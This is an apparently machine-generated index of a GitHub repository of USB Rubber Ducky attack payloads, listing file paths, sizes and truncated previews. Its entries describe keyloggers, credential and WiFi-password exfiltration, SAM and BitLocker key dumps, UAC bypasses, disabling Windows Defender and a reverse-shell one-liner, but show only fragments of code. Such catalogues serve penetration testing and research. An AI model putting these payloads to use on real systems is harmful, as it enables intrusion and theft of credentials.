"path": "payloads/examples/Payload Control/Payload-Control-example1.txt",
"chars": 260,
"preview": "REM Example RESTART_PAYLOAD\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rSTRINGLN Hello, World!\rRESTART_PAYLOAD\r\rSTRINGLN Nothing"
},
{
"path": "payloads/examples/Payload Control/Payload-Control-example2.txt",
"chars": 251,
"preview": "REM Example STOP_PAYLOAD\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rBUTTON_DEF\r STOP_PAYLOAD\rEND_BUTTON\r\rWHILE TRUE\r RAND"
},
{
"path": "payloads/examples/Payload Control/Payload-Control-example3.txt",
"chars": 367,
"preview": "REM Example RESET\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rINJECT_MOD\rHOLD SHIFT\rHOLD a\rDELAY 700\rRELEASE a\rRESET\r\rDELAY 1000"
},
{
"path": "payloads/examples/Payload Hiding/Payload-Hiding-example1.txt",
"chars": 426,
"preview": "ATTACKMODE OFF\r\rBUTTON_DEF\r ATTACKMODE OFF\r RESTORE_PAYLOAD\r ATTACKMODE STORAGE\rEND_BUTTON\r\rHIDE_PAYLOAD\rATTACK"
},
{
"path": "payloads/examples/Randomization/Randomization-example1.txt",
"chars": 937,
"preview": "REM Example Random Keys\rATTACKMODE HID STORAGE\rDELAY 2000\r\rBUTTON_DEF\r RANDOM_CHARACTER\rEND_BUTTON\r\rSTRINGLN Here are"
},
{
"path": "payloads/examples/Randomization/Randomization-example2.txt",
"chars": 267,
"preview": "REM Example Random Integer\nATTACKMODE HID STORAGE\n\nLED_OFF\nVAR $A = $_RANDOM_INT\nWHILE ($A > 0)\n LED_G\n DELAY 500\n"
},
{
"path": "payloads/examples/Randomization/Randomization-example3.txt",
"chars": 335,
"preview": "REM Example Random Integer Example with Range\n\nATTACKMODE HID STORAGE\nLED_OFF\n\n$_RANDOM_MIN = 20\n$_RANDOM_MAX = 50\n\nVAR "
},
{
"path": "payloads/examples/Randomization/Randomization-example4.txt",
"chars": 639,
"preview": "REM !!!! Use caution with random VID and PID values as unexpected results are likely !!!!\n\nATTACKMODE OFF\rWHILE TRUE\r A"
},
{
"path": "payloads/examples/Storage Activity/Storage-Activity-example1.txt",
"chars": 685,
"preview": "REM !!!! Results may vary greatly depending on target OS. Some operating systems may keep storage active for an exceptio"
},
{
"path": "payloads/examples/Storage Activity/Storage-Activity-example2.txt",
"chars": 623,
"preview": "REM !!!! Results may vary greatly depending on target OS. Some operating systems may keep storage active for an exceptio"
},
{
"path": "payloads/examples/Tests/test-suite.txt",
"chars": 19380,
"preview": "VAR $PASS = 0\nVAR $FAILED = 0\n\nVAR $TOGGLE = 0\nVAR $CD = 3\n\nFUNCTION PASSED()\n\tSTRINGLN P\n\t$PASS = ($PASS + 1)\nEND_FUNCT"
},
{
"path": "payloads/examples/Variables/VAR-example1.txt",
"chars": 721,
"preview": "REM In DuckyScript, variables are initiated using the VAR command.\r\rREM Example Integer Variable\rVAR $SPEED = 2000\r\rREM "
},
{
"path": "payloads/extensions/button_deploy.txt",
"chars": 1041,
"preview": "EXTENSION BUTTON_DEPLOY\n REM VERSION 1.0\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n Use this during "
},
{
"path": "payloads/extensions/community/DETECT_FINISHED",
"chars": 722,
"preview": "EXTENSION DETECT_FINISHED\n REM VERSION 1.0\n REM AUTHOR: 0i41E\n\n REM_BLOCK DOCUMENTATION\n USAGE:\n "
},
{
"path": "payloads/extensions/community/POWERSHELL_DOWNLOAD",
"chars": 1587,
"preview": "EXTENSION POWERSHELL_DOWNLOAD\n REM VERSION 1.0\n REM Author: 0i41E\n REM Downloads the desired file via powershel"
},
{
"path": "payloads/extensions/community/POWERSHELL_TO_DROPBOX",
"chars": 1860,
"preview": "EXTENSION POWERSHELL_TO_DROPBOX\n REM_BLOCK DOCUMENTATION\n Title: PowerShell To Dropbox\n Author: PlumpyT"
},
{
"path": "payloads/extensions/community/ROLLING_POWERSHELL_EXECUTION",
"chars": 3392,
"preview": "EXTENSION ROLLING_POWERSHELL_EXECUTION\n REM VERSION 1.0\n REM Author: 0i41E\n REM OS: Windows\n REM Credits: Ko"
},
{
"path": "payloads/extensions/community/RUN_HOSTED_POWERSHELL",
"chars": 951,
"preview": "EXTENSION RUN_HOSTED_POWERSHELL\n REM_BLOCK DOCUMENTATION\n Title: Run Hosted PowerShell\n Author: PlumpyT"
},
{
"path": "payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/README.md",
"chars": 3827,
"preview": "# Save Files In Rubber Ducky Storage - Windows\n\nThis extension can be used to save one or more files through the USB Rub"
},
{
"path": "payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt",
"chars": 2928,
"preview": "EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS\n REM VERSION 1.0\n REM AUTHOR: Aleff\n REM_BLOCK Documentati"
},
{
"path": "payloads/extensions/community/WINDOWS11_CONSOLE_DOWNGRADE",
"chars": 1251,
"preview": "EXTENSION WINDOWS11_CONSOLE_DOWNGRADE\n REM_BLOCK\n Version: 1.0\n Author: 0i41E\n Description: Down"
},
{
"path": "payloads/extensions/community/WINDOWS_ELEVATED_EXECUTION",
"chars": 945,
"preview": "EXTENSION WINDOWS_ELEVATED_EXECUTION\n REM VERSION 1.1\n REM Author: 0i41E\n REM Executes the desired program with"
},
{
"path": "payloads/extensions/community/WINDOWS_FILELESS_HID_EXFIL",
"chars": 1957,
"preview": "EXTENSION WINDOWS_FILELESS_HID_EXFIL\r\n REM VERSION 1.0\r\n REM AUTHOR: 0i41E\r\n\r\n REM_BLOCK DOCUMENTATION\r\n "
},
{
"path": "payloads/extensions/detect_ready.txt",
"chars": 729,
"preview": "EXTENSION DETECT_READY\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n USAGE:\n "
},
{
"path": "payloads/extensions/exfil_auto_eof_detect.txt",
"chars": 1330,
"preview": "EXTENSION EXFIL_AUTO_EOF_DETECT\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n USAGE:\n "
},
{
"path": "payloads/extensions/hello_os.txt",
"chars": 1236,
"preview": "EXTENSION HELLO_OS\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n USAGE:\n Fo"
},
{
"path": "payloads/extensions/linux_hid_exfil.txt",
"chars": 2834,
"preview": "EXTENSION LINUX_HID_EXFIL\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM REQUIRES EXTENSION EXFIL_AUTO_EOF_DETECT\n\n"
},
{
"path": "payloads/extensions/os_detect.txt",
"chars": 7875,
"preview": "EXTENSION OS_DETECTION\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n USB Rubber Ducky "
},
{
"path": "payloads/extensions/passive_detect_ready.txt",
"chars": 687,
"preview": "EXTENSION PASSIVE_DETECT_READY\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n Passive D"
},
{
"path": "payloads/extensions/passive_windows_detect.txt",
"chars": 1222,
"preview": "EXTENSION PASSIVE_WINDOWS_DETECT\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n Windows"
},
{
"path": "payloads/extensions/protected_storage_mode.txt",
"chars": 2723,
"preview": "EXTENSION PROTECTED_STORAGE_MODE\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK\n Example hidden storag"
},
{
"path": "payloads/extensions/self_destruct.txt",
"chars": 2535,
"preview": "EXTENSION SELF_DESTRUCT\n REM VERSION 1.0\n REM AUTHOR: Korben\n\n REM_BLOCK Documentation\n This extension i"
},
{
"path": "payloads/extensions/translate.txt",
"chars": 7660,
"preview": "EXTENSION TRANSLATE\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n This extension acts "
},
{
"path": "payloads/extensions/windows_hid_exfil.txt",
"chars": 2681,
"preview": "EXTENSION WINDOWS_HID_EXFIL\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n Helpers for "
},
{
"path": "payloads/library/credentials/-RD-Credz-Plz/Credz-Plz-Execute.txt",
"chars": 610,
"preview": "REM Title: Credz-Plz\n\nREM Author: I am Jakoby\n\nREM Description: This payload is meant to prompt the target t"
},
{
"path": "payloads/library/credentials/-RD-Credz-Plz/Credz-Plz.ps1",
"chars": 7999,
"preview": "########################################################################################################################"
},
{
"path": "payloads/library/credentials/-RD-Credz-Plz/README.md",
"chars": 3052,
"preview": "\n\n<!-- TABLE OF CONTEN"
},
{
"path": "payloads/library/credentials/BitLockerKeyDump/payload.txt",
"chars": 5829,
"preview": "REM BitLockerKeyDump\r\nREM Version 1.0\r\nREM OS: Windows\r\nREM Author: 0i41E\r\nREM Requirement"
},
{
"path": "payloads/library/credentials/BitLockerKeyDump/readme.md",
"chars": 2177,
"preview": "**Title: BitLockerKeyDump**\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows<br>\r\nVersion: 1.0<br>\r\n\r\n**What is BitLockerKeyDump?**\r"
},
{
"path": "payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/ReadMe.md",
"chars": 1253,
"preview": "## About:\r\n* Title: Browser-Passwords-Dropbox-Exfiltration\r\n* Description: Opens PowerShell hidden, grabs Chrome passwor"
},
{
"path": "payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/Version 01/Browser-Passwords-Dropbox-Exfiltration.ps1",
"chars": 4438,
"preview": "#########################################################################################################\n# "
},
{
"path": "payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/Version 01/payload.txt",
"chars": 2038,
"preview": "REM #########################################################################################################\nREM # "
},
{
"path": "payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/payload.txt",
"chars": 1950,
"preview": "REM #########################################################################################################\nREM # "
},
{
"path": "payloads/library/credentials/DevilsCupid/README.md",
"chars": 3536,
"preview": "\n"
},
{
"path": "payloads/library/credentials/DevilsCupid/devilsCupid.ps1",
"chars": 6158,
"preview": "########################################################################################################################"
},
{
"path": "payloads/library/credentials/DevilsCupid/sourceCode.txt",
"chars": 397,
"preview": "REM Author: Nejc Pirečnik\nREM Devil's Cupid\nREM The Devil's Cupid is a Rubber Ducky script that tricks your target into "
},
{
"path": "payloads/library/credentials/Duckie-Harvest/README.md",
"chars": 1546,
"preview": "# Duckie-Harvest\n## Overview\n\nThis script is designed for penetration testing purposes and offers the following function"
},
{
"path": "payloads/library/credentials/Duckie-Harvest/payload.txt",
"chars": 1896,
"preview": "ATTACKMODE HID STORAGE\nEXTENSION PASSIVE_WINDOWS_DETECT\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUME"
},
{
"path": "payloads/library/credentials/Duckie-Harvest/sy_cred.ps1",
"chars": 5029,
"preview": "\n\n#-- Payload configuration --#\n\n$DRIVE = 'DUCKY' # Drive letter of the USB Rubber Ducky\n$IP = 'YOUR_IP' # "
},
{
"path": "payloads/library/credentials/DuckyLogger/README.md",
"chars": 1740,
"preview": "## About:\n* Title: DuckyLogger\n* Description: Key logger which sends each and every key stroke of target remotely/locall"
},
{
"path": "payloads/library/credentials/DuckyLogger/duckyLoggerDecoder",
"chars": 1661,
"preview": "usage () { \n\techo -e \"DuckyLoggerDecoder is used to decode raw key strokes acquired by duckyLogger.\\n\"\n\techo -e \"Usage: "
},
{
"path": "payloads/library/credentials/DuckyLogger/payload.txt",
"chars": 3181,
"preview": "REM Title: DuckyLogger\nREM Description: Key logger which sends each and every key stroke of target remotely/locally.\nREM"
},
{
"path": "payloads/library/credentials/DuckyLogger2/README.md",
"chars": 2039,
"preview": "## About:\n* Title: DuckyLogger 2.0\n* Description: Keylogger, which sends each and every keystroke of the target remotely"
},
{
"path": "payloads/library/credentials/DuckyLogger2/duckyLoggerDecoder",
"chars": 1684,
"preview": "usage () { \n\techo -e \"\\nDuckyLoggerDecoder is used to decode raw key strokes acquired by DuckyLogger.\\n\"\n\techo -e \"Usage"
},
{
"path": "payloads/library/credentials/DuckyLogger2/payload.txt",
"chars": 2228,
"preview": "REM Title: DuckyLogger 2.0\nREM Description: Keylogger which sends each and every keystroke of the target remotely/locall"
},
{
"path": "payloads/library/credentials/ExfiltrateWiFiPasswords_Linux/README.md",
"chars": 1134,
"preview": " \n# Exfiltrate WiFi Passwords - Linux ✅\n\nA script used to exfiltrate the wifi passwords on a Linux machine.\n\n**Category*"
},
{
"path": "payloads/library/credentials/ExfiltrateWiFiPasswords_Linux/payload.txt",
"chars": 2590,
"preview": "\nREM #######################################################\nREM # |"
},
{
"path": "payloads/library/credentials/ExfiltrateWiFiPasswords_Linux/script.sh",
"chars": 243,
"preview": "#!/bin/bash\n\nfor conn in $(nmcli connection show | grep wifi | awk '{print $1}'); do\n nmcli connection show $conn >> "
},
{
"path": "payloads/library/credentials/Funni_Stick_V3/Funni_Stick_V3",
"chars": 2301,
"preview": "REM -----Title: Funni Stick V3\nREM -----Author: Maker (https://github.com/MakeshiftMaker)\nREM -----Desc: A varient of Wi"
},
{
"path": "payloads/library/credentials/Funni_Stick_V3/README.txt",
"chars": 1322,
"preview": "Funni Stick V3 is the third generation of Maker Inc. Funni Stick Products.\r\nSteal Windows Passwords in 30 Seconds (or le"
},
{
"path": "payloads/library/credentials/Hasta lasagna!/Hasta Lasagna.ps1",
"chars": 4458,
"preview": "# Function from https://gist.github.com/lalibi/3762289efc5805f8cfcf (Hide Powershell Window)\nfunction Set-WindowState {\n"
},
{
"path": "payloads/library/credentials/Hasta lasagna!/payload.txt",
"chars": 616,
"preview": "REM TITLE \"Hasta lasagna!\"\nREM AUTHOR m4ki3lf0\nREM TARGET Approved on Win10, Probably working on Win11\nREM DESCRIPTION T"
},
{
"path": "payloads/library/credentials/Local_WLAN_Borrower/1.ps1",
"chars": 1514,
"preview": "# Define the volume label you're looking for\r\n$targetLabel = \"DUCKY\"\r\n\r\n# Find the drive letter of the USB drive with th"
},
{
"path": "payloads/library/credentials/Local_WLAN_Borrower/README.md",
"chars": 497,
"preview": "### Local_WLAN_Borrower\nThis script borrows the wifi passwords on the target system and puts them into a .txt file on th"
},
{
"path": "payloads/library/credentials/Local_WLAN_Borrower/payload.txt",
"chars": 2264,
"preview": "REM Title: Local_WLAN_Borrower\nREM Description: Borrows wifi passwords and saves them on the DUCKY\nREM Author:"
},
{
"path": "payloads/library/credentials/SamDumpDucky/README.md",
"chars": 966,
"preview": "**Title: SamDumpDucky**\n\n<p>Author: 0i41E<br>\nOS: Windows<br>\nVersion: 2.0<br>\n\n**What is SamDumpDucky?**\n#\n<p>SamDumpDu"
},
{
"path": "payloads/library/credentials/SamDumpDucky/payload.txt",
"chars": 3847,
"preview": "REM Title: SamDumpDucky\nREM Description: Dump users sam and system hive and exfiltrate them. Afterwards you ca"
},
{
"path": "payloads/library/credentials/Simple_User_Password_Grabber/payload.txt",
"chars": 2692,
"preview": "REM Title: windows password grabber\nREM Arthor makozort, https://github.com/makozort\nREM Target: windows 10 (with admin "
},
{
"path": "payloads/library/credentials/WLAN-Windows-Passwords/README.md",
"chars": 1192,
"preview": "# WLAN Windows Password\n\nA script used to stole target WLAN Passwords.\n\n**Category**: Credentials\n\n## Description\n\nA scr"
},
{
"path": "payloads/library/credentials/WLAN-Windows-Passwords/Windows-Passwords.ps1",
"chars": 489,
"preview": "\n# ENG\nnetsh wlan show profile | Select-String '(?<=All User Profile\\s+:\\s).+' | ForEach-Object {\n $wlan = $_.Matche"
},
{
"path": "payloads/library/credentials/WLAN-Windows-Passwords/payload.txt",
"chars": 1075,
"preview": "REM ###################################################################\nREM # "
},
{
"path": "payloads/library/credentials/WindowsLicenseKeyExfiltration/WindowsLicenseKeyExfiltration.txt",
"chars": 6122,
"preview": "REM WindowsLicenseKeyExfiltration\r\nREM Version 1.0\r\nREM OS: Windows\r\nREM Author: 0i41E\r\nREM "
},
{
"path": "payloads/library/credentials/WindowsLicenseKeyExfiltration/readme.md",
"chars": 1151,
"preview": "**Title: WindowsLicenseKeyExfiltration**\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows<br>\r\nVersion: 1.0<br>\r\n\r\n**What is Windows"
},
{
"path": "payloads/library/credentials/datacopier/datacopier",
"chars": 1158,
"preview": "REM Written and tested by Dante Sparda\nREM this took a lot of digging and research. please use responsibly. \nREM i wrote"
},
{
"path": "payloads/library/credentials/sudoSnatch/payload.txt",
"chars": 3732,
"preview": "REM Title: sudoSnatch\nREM Description: sudoSnatch payload grabs sudo password in plain text, imediately after victim use"
},
{
"path": "payloads/library/execution/$MFT-Duck-Crasher/payload.txt",
"chars": 879,
"preview": "REM Title: $MFT-Duck-Crasher\nREM Author: JonnyBanana\nREM A Simple Script for Rubber Ducky which Exploits Windows $MFT Vu"
},
{
"path": "payloads/library/execution/-RD-Play-WAV/Play-WAV.ps1",
"chars": 5791,
"preview": "########################################################################################################################"
},
{
"path": "payloads/library/execution/-RD-Play-WAV/README.md",
"chars": 2598,
"preview": "\n\n<!-- TABLE OF CONTEN"
},
{
"path": "payloads/library/execution/-RD-Play-WAV/payload.txt",
"chars": 547,
"preview": "REM Title: Play-WAV\n\nREM Author: I am Jakoby\n\nREM Description: This payload is meant to play a WAV file hidd"
},
{
"path": "payloads/library/execution/-RD-SafeHaven/README.md",
"chars": 2467,
"preview": "\n\n<!-- TABLE OF CONTEN"
},
{
"path": "payloads/library/execution/-RD-SafeHaven/SafeHaven.txt",
"chars": 1291,
"preview": "REM Title: Safe-Haven\r\n\r\nREM Author: I am Jakoby\r\n\r\nREM Description: This is a UAC bypass payload that will "
},
{
"path": "payloads/library/execution/-RD-ShortcutJacker/README.md",
"chars": 5233,
"preview": "\n\n<img src=\"https://me"
},
{
"path": "payloads/library/execution/-RD-ShortcutJacker/Shortcut-Jacker-Execute.txt",
"chars": 570,
"preview": "REM Title: Shortcut-Jacker\n\nREM Author: I am Jakoby\n\nREM Description: This payload will run a powershell scr"
},
{
"path": "payloads/library/execution/-RD-ShortcutJacker/Shortcut-Jacker.ps1",
"chars": 6636,
"preview": "########################################################################################################################"
},
{
"path": "payloads/library/execution/-RD-UrAttaControl/README.md",
"chars": 2835,
"preview": "\n\n<!-- TABLE OF CONTEN"
},
{
"path": "payloads/library/execution/-RD-UrAttaControl/UrAttaControl-Execute.txt",
"chars": 1481,
"preview": "REM Title: UrAttaControl\n\nREM Author: I am Jakoby\n\nREM Description: This is a UAC bypass payload that will o"
},
{
"path": "payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/README.md",
"chars": 1580,
"preview": "# Add An Excepiton To Avast Antivirus\n\nThis script can be used to put an arbitrary exception path in the Avast app.\n\n**C"
},
{
"path": "payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt",
"chars": 1380,
"preview": "REM ########################################################\nREM # "
},
{
"path": "payloads/library/execution/Add_Local_Admin/payload.txt",
"chars": 1878,
"preview": "REM Title: Add_Local_Admin\nREM Author: LulzAnarchyAnon\nREM Description: Administrator PowerShell is opened, and resized "
},
{
"path": "payloads/library/execution/Admin_Who_Never_Sleeps/ReadMe.md",
"chars": 352,
"preview": "**Admin who never sleeps** (for Windows)\n\nQuick and simple script that adds a local hidden admin user then sets power se"
},
{
"path": "payloads/library/execution/Admin_Who_Never_Sleeps/payload.txt",
"chars": 1584,
"preview": "REM Title: Admin who never sleeps\nREM Desc: Adds a local hidden admin user and sets power settings to never sleep.\nREM A"
},
{
"path": "payloads/library/execution/BeEF_Injection/payload.txt",
"chars": 2664,
"preview": "REM TITLE BeEF Injection\nREM AUTHOR\nREM __ __ .__ \nREM / \\ / \\|__| ____ ___"
},
{
"path": "payloads/library/execution/Call_Someone_On_An_iPhone/README.md",
"chars": 1367,
"preview": "# Call Someone On An iPhone\n\nThis script can be used to call someone really fast using an iPhone, so iOS system.\n\n**Cate"
},
{
"path": "payloads/library/execution/Call_Someone_On_An_iPhone/payload.txt",
"chars": 878,
"preview": "REM ##############################################\nREM # |\nREM # Title "
},
{
"path": "payloads/library/execution/ChangeGitRemoteLink/README.md",
"chars": 2275,
"preview": "# Change Remote Git Link\n\nThis script can be used to change the remote link from which updates will be downloaded and wh"
},
{
"path": "payloads/library/execution/ChangeGitRemoteLink/payload.txt",
"chars": 1199,
"preview": "REM ###########################################\nREM # |\nREM # Title : Cha"
},
{
"path": "payloads/library/execution/ChangeMacAddress_Linux/README.md",
"chars": 1103,
"preview": " \n# Change MAC Address\n\nA script used to change the MAC address on a Linux machine.\n\n**Category**: Execution\n\n## Descrip"
},
{
"path": "payloads/library/execution/ChangeMacAddress_Linux/payload.txt",
"chars": 1306,
"preview": "\nREM ###########################################\nREM # |\nREM # Title : Ch"
},
{
"path": "payloads/library/execution/ChangeNetworkConfiguration_Linux/README.md",
"chars": 1076,
"preview": " \n# Change Network Configuration\n\nA script used to change the network configuration on a Linux machine.\n\n**Category**: E"
},
{
"path": "payloads/library/execution/ChangeNetworkConfiguration_Linux/payload.txt",
"chars": 1385,
"preview": "\nREM ###############################################\nREM # |\nREM # Title "
},
{
"path": "payloads/library/execution/Change_Github_Profile_Settings/README.md",
"chars": 1973,
"preview": "# Change Github Profile Settings\n\nThis script can be used to edit Github account settings speeding up the editing proces"
},
{
"path": "payloads/library/execution/Change_Github_Profile_Settings/payload.txt",
"chars": 2648,
"preview": "REM_BLOCK\n###################################################\n# #\n# Titl"
},
{
"path": "payloads/library/execution/Change_Windows_User_Name/README.md",
"chars": 1243,
"preview": "# Change Windows User Name\n\nThis script can be used to change the windows user name.\n\n**Category**: Execution\n\n## Descri"
},
{
"path": "payloads/library/execution/Change_Windows_User_Name/payload.txt",
"chars": 1050,
"preview": "REM #############################################\nREM # |\nREM # Title :"
},
{
"path": "payloads/library/execution/Change_the_password_of_the_windows_user/README.md",
"chars": 1460,
"preview": "# Change the password of the windows user\n\nThrough this script you will be able to change windows user's password super "
},
{
"path": "payloads/library/execution/Change_the_password_of_the_windows_user/payload.txt",
"chars": 886,
"preview": "REM ############################################################\nREM # "
},
{
"path": "payloads/library/execution/CloseAllApplicationsInWindows/README.md",
"chars": 1082,
"preview": "# Close All Applications - BADUSB ✅\n\nA script used to close all target open applications.\n\n🟢 **Plug-And-Play** 🟢\n\n**Cate"
},
{
"path": "payloads/library/execution/CloseAllApplicationsInWindows/close_all_app.ps1",
"chars": 537,
"preview": "# Download Python script\n\n# Reply $scriptUrl with YOUR LINK. The Payload should be script.py\n$scriptUrl = \"YOUR_END_USER"
},
{
"path": "payloads/library/execution/CloseAllApplicationsInWindows/payload.txt",
"chars": 1007,
"preview": "REM #####################################################\nREM # |\nREM "
},
{
"path": "payloads/library/execution/CloseAllApplicationsInWindows/script.py",
"chars": 200,
"preview": "try:\n import psutil\nexcept:\n import os\n os.system(\"pip install psutil\")\n import psutil\n\nfor process in psuti"
},
{
"path": "payloads/library/execution/DNS-TXT-CommandInjection/DNS-TXT-CommandInjection.txt",
"chars": 2030,
"preview": "EXTENSION PASSIVE_WINDOWS_DETECT\n REM VERSION 1.1\n REM AUTHOR: Korben\n\n REM_BLOCK DOCUMENTATION\n Windows"
},
{
"path": "payloads/library/execution/DNS-TXT-CommandInjection/README.md",
"chars": 2377,
"preview": "# DNS-TXT-CommandInjection\nDucky Script uses Resolve-DnsName to perform a DNS name query resolution for a domain hosting"
},
{
"path": "payloads/library/execution/DNS-TXT-CommandInjection/powershellReverseShellOne-liner.ps1",
"chars": 743,
"preview": "# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html\n# CONFI"
},
{
"path": "payloads/library/execution/DUCKY_REAPER/payload.txt",
"chars": 555,
"preview": "REM Title: DUCKY_REAPER\nREM Author: JonnyBanana\nREM Requirements -none\nREM How it works?\nREM The script is a One-Liner a"
},
{
"path": "payloads/library/execution/DawnKit/payload.txt",
"chars": 2169,
"preview": "REM Title: pwnKit\nREM Description: Privilege escalation in Unix-like operating systems\nREM Author: drapl0n\nREM Version: "
},
{
"path": "payloads/library/execution/Defend_yourself_against_AtlasVPN_Bug-Door/README.md",
"chars": 7438,
"preview": "# Defend yourself against AtlasVPN *Bug-Door*\n\nThis script has been developed to allow you to mitigate a well-known vuln"
},
{
"path": "payloads/library/execution/Defend_yourself_against_AtlasVPN_Bug-Door/payload.txt",
"chars": 1175,
"preview": "REM ############################################################\nREM # "
},
{
"path": "payloads/library/execution/Delete_A_Reminder_On_An_iPhone/README.md",
"chars": 1315,
"preview": "# Delete A Reminder On An iPhone\n\nThis script can be used to delete a reminder really fast using an iPhone, so iOS syste"
},
{
"path": "payloads/library/execution/Delete_A_Reminder_On_An_iPhone/payload.txt",
"chars": 1008,
"preview": "REM_BLOCK\n###################################################\n# #\n# Titl"
},
{
"path": "payloads/library/execution/Disable_Windows_Defender22H2/Disable_Windows_Defender.txt",
"chars": 2389,
"preview": "REM Disable Windows Defender\nREM VERSION 1.0\nREM Author HackingMark\nREM Disables Tampering Protection and Kills Windows "
},
{
"path": "payloads/library/execution/DuckyHelper/DuckyHelper.txt",
"chars": 1622,
"preview": "REM DuckyHelper\nREM Version 1.0\nREM OS: Windows 10 \nREM Author: 0i41E\n\nREM UAC bypass for "
},
{
"path": "payloads/library/execution/Edit_A_Reminder_On_An_iPhone/README.md",
"chars": 1429,
"preview": "# Edit A Reminder On An iPhone\n\nThis script can be used to change a reminder name really fast using an iPhone, so iOS sy"
},
{
"path": "payloads/library/execution/Edit_A_Reminder_On_An_iPhone/payload.txt",
"chars": 1100,
"preview": "REM_BLOCK\n#################################################\n# #\n# Title "
},
{
"path": "payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/README.md",
"chars": 2127,
"preview": "# Edit The Default Real App With An Arbitrary\n\nA script used to download a modified application on the target computer t"
},
{
"path": "payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/[EXAMPLE]arbitrary_file.desktop",
"chars": 303,
"preview": "[Desktop Entry]\nName=Signal\nExec=~/.arbitrary/bin/signal-desktop --no-sandbox %U\nTerminal=false\nType=Application\nIcon=si"
},
{
"path": "payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/[EXAMPLE]original_desktop_file.desktop",
"chars": 298,
"preview": "[Desktop Entry]\nName=Signal\nExec=/opt/Signal/signal-desktop --no-sandbox %U\nTerminal=false\nType=Application\nIcon=signal-"
}
]
// ... and 482 more files (download for full content)
About this extraction
This page contains the full source code of the UberGuidoZ/Hak5-USBRubberducky-Payloads GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 682 files (1.6 MB), approximately 500.1k tokens, and a symbol index with 51 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.